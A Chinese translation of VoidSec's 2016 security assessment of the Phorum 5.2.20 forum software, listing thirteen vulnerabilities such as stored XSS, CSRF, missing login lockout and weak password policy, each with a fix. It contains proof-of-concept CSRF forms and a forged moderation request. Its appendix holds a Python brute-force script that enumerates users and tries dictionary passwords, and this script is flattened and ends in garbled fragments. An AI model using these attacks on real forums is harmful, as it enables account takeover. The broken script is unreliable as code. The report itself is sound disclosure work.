针对Phorum开源论坛项目的安全评估报告

www.96kaifa.com | 2016-10-30 |

摘要:简介
项目名称:Phorum
版本号:v5.2.20
报告号:VoidSec-16-001
日期:2016年4月21日
FreeBuf百科
Phorum是一个基于PHP+MySQL开发的开源论坛项目。它的特点是速度快,功能强大,面...

1.jpg

简介

项目名称:Phorum

版本号:v5.2.20

报告号:VoidSec-16-001

日期:2016年4月21日

FreeBuf百科

Phorum是一个基于PHP+MySQL开发的开源论坛项目。它的特点是速度快,功能强大,面向模块化设计,安装简单。

1  团队成员

作者 角色 昵称 电子邮箱 个人网站
Paolo
Stagno
团队队长 VoidSec

voidsec@voidsec.com voidsec.com
Mattia
Reggiani
团队成员 info@mattiareggiani.com mattiareggiani.com
Federico
Gerardi
团队成员 AzraelSec federicogerardi94@gmail.com azraelsec.it
Matteo
Papa
团队成员 matteopapa93@gmail.com

1.1 VoidSec简介

过去这些年,地下黑客社区逐渐消亡,特别是在意大利,这一切并不是思路或者技术的匮乏,而是因为缺乏一个交流地点和一些分享精神。

VoidSec.com致力于为所有黑客提供一个交流平台,在这里,所有有趣的思路都可以自由分享,初学者也同样可以来这里学到许多的知识。

网站:https://www.voidsec.com

2  引言

我们将对Phorum社区程序的一些重要面进行安全评估。Phorum是一个基于PHP+MySQL开发的开源论坛项目。它的特点是速度快,功能强大,面向模块化设计,安装简单。 

2.1 结果

我们主要使用灰盒测试方法对Web应用Phorum进行安全评估。

2.2 范围和时间线

我们在11月13日和12月3日期间进行了安全评估。安全评估确认了由于不正确或不恰当的系统配置,已知/未知的程序漏洞,处理或技术对策的操作弱点所导致的潜在漏洞或安全威胁。

此项目的目的是使用入侵技术去确认和验证测试范围内所有的潜在漏洞。

时间线:

第一次与厂家联系:2016年3月3日

第二次与厂家联系:2016年3月16日

第三次与厂家联系:2016年4月4日

厂家最后回复时间:2016年3月3日

漏洞公开时间:2016年4月16日

项目名称:Phorum开源php论坛程序

版本号:5.2.20

2.3 政策

VoidSec成立以来,我们使用负责任的漏洞披露方式来处理漏洞。负责任的披露方式最大限度减少了用户的风险,也给相关部门充足的时间去修补漏洞。

我们并不赞同对漏洞进行完整披露,如果可能的话,我们更喜欢采用负责任的披露方式。

不过,为了进行安全预警和促进严重漏洞的快速修复,我们将把完整披露作为我们最后的手段。

以上就是我们的漏洞披露政策。

漏洞概要

这一部分包含了被审计系统中所有的确认漏洞。

安全评估 漏洞数量
6
7
0
严重 0
总计 13

2.1漏洞安全评级

下面的表格为所有被发现漏洞的安全评级:

漏洞 影响模块 评级
储存型跨站脚本(XSS) 论坛模块 中(6.5)
储存型跨站脚本(XSS) 群组模块 中(6.5)
跨站请求伪造(CSRF) 审核过程 中(6.0)
跨站请求伪造(CSRF) 注册过程 中(5.3)
缺少token验证 登陆 中(4.6)
登陆锁定缺陷 中(5.9)
弱密码策略 中(4.3)
不正确的直接对象引用 低(3.7)
非预料文件类型上传 低(3.1)
业务逻辑数据验证 低(2.7)
脆弱的密码重置功能 低(3.5)
cookie属性问题 低(3.1)
记住密码功能 低(2.1)

3  详细分析

本章概述了攻击过程和漏洞细节。

3.1 储存型跨站脚本(xss)–论坛模块

影响文件:admin.php

概述:在论坛模块发现了一个储存型xss漏洞,这可能会导致任意客户端代码执行(如JavaScript)。

漏洞证明:

我们在论坛设置处插入payload:

95046EED31504BAA8FE9757B2B9E21EE.jpg

论坛首页将会直接执行我们的代码:

BE5811DA2E2749E3942A13BC2CB805B1.jpg

推荐的解决方案:对数据输入和输出进行有效过滤。

风险评级:中(6.5)

3.2 储存型跨站脚本(xss)–群组模块

影响文件:admin.php

概述:在论坛模块发现了一个储存型xss漏洞,这可能会导致任意客户端代码执行(如JavaScript)。

漏洞证明:

我们在论坛设置处插入payload:

C1658356F4F640D59EF6C1416A4088E5.jpg

前台群组处将会执行我们的代码:

40D4E00340214AD0A2689D4B206C34DB.jpg

推荐的解决方案:对数据输入和输出进行有效过滤。

风险评级:中(6.5)

3.3 跨站请求伪造(CSRF)–审核过程

影响文件:Moderation.php

概述:审核功能处没有使用安全令牌去验证特定的HTTP请求。攻击者可以在权限用户不知情的情况下,借助其执行特定审核操作。

漏洞证明:

攻击实施前存在一个未审核的消息:

86168703426E4E8989076D21A300C758.jpg

构造特定的HTTP请求利用此漏洞:

GET http://[site]/moderation.php?2,7,11783,prepost=1,old_forum=0,onlyunap-
proved=0,moddays=2
HTTP/1.1

再次访问消息审核页面:

58B99229650D4775BE740EF6B7207A1D.jpg

推荐的解决方案:给审核功能添加安全令牌,使HTTP请求不可伪造。

风险评级:中(6.0)

3.4  跨站请求伪造(CSRF)–注册过程

影响文件:Register.php

概述:用户注册处没有使用安全令牌去验证特定的HTTP请求。攻击者可以在用户不知情的情况下,借助其执行特定的注册操作。

漏洞证明:

发起攻击前phorum_users表的值:

D3AD2B6AD0034672BF07D4F8284EA9D4.jpg

利用页面:

<form action="http://[site]/register.php" method="post">
<input type="hidden" name="forum_id" value="0" />
<input type="text" name="username" size="30" value="CSRFtest" />
<input type="text" name="email" size="30" value="email@email.it" />
<input type="password" name="password" size="30" value="CSRFpass" />
<input type="password" name="password2" size="30" valu
e="CSRFpass" />
<input type="submit" value=" Submit" />
</form>

攻击实施之后:

7E450D0AD6EE451A8A7F6FD70D87052D.jpg

推荐的解决方案:给注册功能添加安全令牌,使HTTP请求不可伪造。

风险评级:中(5.3)

3.5  缺少CSRF防御token–登陆

影响文件:login.php

描述:登陆页面没有实施CSRF防御的措施,例如独一无二的token。这个漏洞允许攻击者让用户不知情的情况下登陆。

下面显示了伪造请求成功,服务器返回了登录成功的信息。

4FFE1E282CAE42A8BF80A892C5F125E4.jpg

登陆表单代码:

<form action="http://[site]/login.php" method="post">
<input type="hidden" name="forum_id" va
lue="0" />
<input type="hidden" name="redir" value="http://[site]" />
Username:<br /><input type="text" id="username" name="username" size="30"
value="" /><br
/><br />
Password:<br /><input type="password" id="password" name="password" size="30"
value=""
/
><br /><br />
<input type="submit" value="Submit" />
</form>

推荐的修复方案:

在每个HTTP请求中发送附加信息,用来确定这个请求是否来自一个授权的来源,如给登陆表单添加一个独一无二的token。

风险评级:中(4.6)

3.6  登陆锁定缺陷

影响文件:login.php

描述:一般来讲,在3到5次登录错误之后,账户将被锁定,经过一段设定的时间或者是自主解锁机制,或者是通过管理员来干预后才能被解锁。

但是在login.php登陆页面,你可以使用错误的密码尝试超过10次,而且账户不会被锁定。

推荐的修补方案:

执行一个账户锁定机制,防止遭到密码暴力破解攻击。

风险评级:中(5.9)

3.7 弱密码策略

描述:

Phorum社区没有任何的密码复杂性要求,任何类型的密码都是被接受的。在密码长度,复杂性和复用(多个用户可以使用同一个密码)上没有任何限制。

除此之外,密码可以是个人信息页面的易得信息,例如个人姓名。密码甚至可以与昵称设置成相同的。

此漏洞结合前一个登陆锁定缺陷漏洞,会让整个认证体系十分脆弱。

推荐的修补方案:

建议引入一个强大的密码策略,至少要对密码的最小长度进行限制,以此减少用户密码被猜到的概率,减轻威胁。

风险评级:4.3

3.8  不正确的直接对象引用

影响文件:file.php

描述:Phorum社区内任何用户都可以遍历其他用户上传的资源,并附在评论中。特别是可以遍历和下载版主或者管理员通过控制中心上传的任何文件。这使得每一个私人文件可以很容易地被读取和通过数字的递增进行遍历。

漏洞证明:

13A59260F3D745D5BF3F61FE5D62F5CC.jpg

推荐的修复方案:

每次使用一个来自不受信任源的文件必须包含一个访问控制检查,保证用户有权请求这一文件。

风险评级:低(3.4)

3.9  非预料类型文件上传

影响文件:control.php

描述:

在文件上传功能处你可以设置允许上传哪些类型的文件(例如:GIF,JPG,PNG)。不过我们发现后缀检查可以被绕过,然后上传一个非预料类型的文件。

然而这一漏洞十分鸡肋,因为文件的内容储存在数据库之中。

漏洞证明:

HTTP请求和响应:

4FFE1E282CAE42A8BF80A892C5F125E4.jpg

用户控制页面显示结果:

13A59260F3D745D5BF3F61FE5D62F5CC.jpg

推荐的修补方案:

程序应该开发验证机制,只接受和处理可接收的文件。一些具体的例子包括:扩展名的黑名单或者白名单,使用HTTP头中的Content-Type进行验证。

风险评级:低(3.1)

3.10  业务逻辑数据验证

影响文件:admin.php

描述:

在一些位置没有应用业务逻辑数据验证。例如它可能让一个整型值变为一个字符串值。这一漏洞可能会导致业务逻辑的故障。

漏洞证明:

30A7B958AFC8466783AB7BDB261E3100.jpg

推荐的修补方案:

应用程序必须确保所有输入的数据在逻辑上都是有效的。

风险评级:低(2.7)

3.11 脆弱的密码重置功能

描述:

重置密码后,网站将会以明文形式将新密码发送至用户邮箱。

漏洞证明:

B911545F625A4338AA0163C332A296E7.jpg

推荐的修复方案:密码是非常敏感的数据,应该被加密或者通过安全token进行设置。

风险评级:低(3.5)

3.12  cookie属性问题

描述:我们发现cookie值没有设置HttpOnly,这使得攻击者可能通过客户端脚本代码获取到cookie值。HttpOnly可以帮助减轻跨站脚本攻击的威胁。

建议的修补方案:

在cookie创建时,设置HttpOnly标记阻止攻击者使用xss获取用户cookie。

风险评级:低(3.1)

3.13  记住密码功能

影响文件:login.php

描述:我们发现,登陆表单中的密码输入框的自动补全没有关闭。这使得某些浏览器将会在本地储存用户密码,这些可能会被第三方利用。特别是在使用公共电脑的时候。

漏洞证明:

<form action="http://[site]/phorum/login.php" method="post"><input 
type="hidden"
name="forum_id" value="0" /><input type="hidden" name="redir"
value="http://[site]/phorum/"
/>
Username:<br /><input type="text" id="username" name="use
rname" size="30"
value="" /><br
/><br />
Password:<br /><input type="password" id="password" name="password" size="30"
value=""
/><br />
<br /><input type="submit" value="Submit" />
</form>

推荐的修补方案:登陆表单应该将自动补全的值设置为关闭。

风险评级:低(2.1)

4  附录

我们团队使用了以下工具来实施这次测试:

4.1  工具

• Burp Suite Proxy

• ZAP Proxy

• Firefox扩展: Tamper Data, Cookie Manager, Live HTTP Headers, HttpRequest, HackBar

and Firebug.

• Curl and Wget

4.2  附件

暴力破解脚本

#!/usr/bin/env python
__AUTHOR__ = "AzraelSec"
__VERSION__ = 0.1
__NAME__ = "Phorum Brutus"
__TEAM__ = "Beta"
'''
This is a example script that can exploit the weak lock out machanism
and weak password policy vulnerabilities togheter Phorum platform is af- fected by.
Brutus enumerates users within a target Phorum platform and than tests the passwords of each one using a dictionary attack.
This code obviously can be improved (for example implementing multi- threading)
and modified; its goal is to demonstrate how much weak password policy could be dangerous on a platform in which any one can enumerate users.
Federico Gerardi aka AzraelSec (Beta Team)
'''
import urllib2, re, urllib
from os.path import isfile
import cookielib
from sys import argv
from getopt import getopt,GetoptError
class Brutus:
def __init__(self, target = None, dictionary = None, limit = 200):
self.target = target
self.dictionary = dictionary
self.limit = limit
self.UserRegex = '<div class="icon-user">(.*)<small>'
def setTarget(self, site):
if((site[:7] != 'http://') and (site[:8] != 'https://')):
if(len(site) > 0):
self.target = "http://" + site
else:
if(len(site) > 0):
self.target = site
def enumerateUsers(self):
results = []
index = 1
try:
while True:
html = self.getRequest('profile.php', 0, str(index))
if("This user doesn't exist or has been deactivated." in html or index >= self.limit):
print "Users in platform:"
#print results
for user in results: print "\t" + user
return results
else:
r = re.findall(self.UserRegex, html,
re.MULTILINE | re.DOTALL)
results.append(r[0].strip())
index = index + 1
except Exception, e:
print e
return None
def bruteAllUsers(self):
all_users = self.enumerateUsers()
all_creds = {}
if(all_users != None):
print "Credentials [user->pass]:"
for user in all_users:
result = self.bruteUser(user)
if(result != None):
return all_creds
all_creds[result[0]] = result[1]
print "\t" + result[0] + "->" + result[1]
def bruteUser(self, nickname):
if(self.dictionary == None):
return None
if(isfile(self.dictionary) != True):
return None
else: try:
(nickname, nickname)
#THIS IS THE WEAKEST PASSWORD POLICY!!!!! if(self.loginUser(nickname, nickname) == True): return
== True):
None):
cessor(cj))
taTeam')]%3